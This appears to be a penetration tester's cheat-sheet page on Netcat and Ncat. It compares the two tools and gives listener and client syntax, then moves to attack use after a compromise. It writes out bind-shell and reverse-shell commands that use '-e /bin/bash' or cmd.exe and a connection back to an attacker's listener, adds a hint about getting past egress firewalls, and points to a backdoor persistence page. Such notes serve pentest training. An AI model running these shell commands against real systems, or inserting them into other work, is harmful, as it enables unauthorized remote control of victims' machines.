👂Netcat

nc(Netcat) & Ncat tips and tricks for PenTesters.

Ncat is a modern reinvention of Netcat. Ncat includes several features not available in Hobbit's original version of the tool. ... For example, while the traditional Netcat has a simple port scanning feature, Ncat lacks that feature because Nmap can be used more effectively for that purpose.

Ncat vs Netcat:

Here are some key new features available in Ncat but absent in Netcat:

• Connection brokering

• Proxy connections

• SSL support

• IPv6 support

• Possibility to chain Ncat’s together

Netcat (nc)

Used to conn. to an HTTP server to enumerate/attack HTTP methods

page🌐Web Attacks

1-Starting a listener(server):

nc -lvp <port>

2-Starting a client:

nc -v <Listner_ip> <port>

-v: verbos

-u: added to both server/client to start a UDP session.

>output.txt: for server to save a file.

echo "msg" |: for client to send & close conn. immediately. (or cat a file to send it)

Get a shell after hacking in device(Bind shell):

nc -lvp <port> -e /bin/bash

-e: excute a programe (cmd.exe for windows).t

then in the attacker computer starta client.

Ncat

For example, we can have a connection (Target is listening and waiting for the Attacker).

in Target/Victim Machine:

ncat -l -p <port> -e <prog>

-l: to listen.

-p: choose an open port on Target mahcine.

-e: programe to excute (Win: cmd.exe Unix: /bin/bash).

in Attacker Machine:

ncat <target_ip> <target_port>

Reverse Conn:

helpful when the attack is over WAN (here Attacker has the listener):

Attacker Machine:

ncat -l -p <open_port> -v

-p: open port (pay attaention for Egress firewall in the Target Network).

-v: give us verbose info.

Target Machine:

ncat -e <prog_exec> <target_IP> <target_port>

-e: programe to excute (Win: cmd.exe Unix: /bin/bash).

-p: same port the attacker is listening in.

Persistence achieved with a Backdoor:

go check the Persistent Backdoor: page in ⚙ Sys Attacks for steps in Win machines.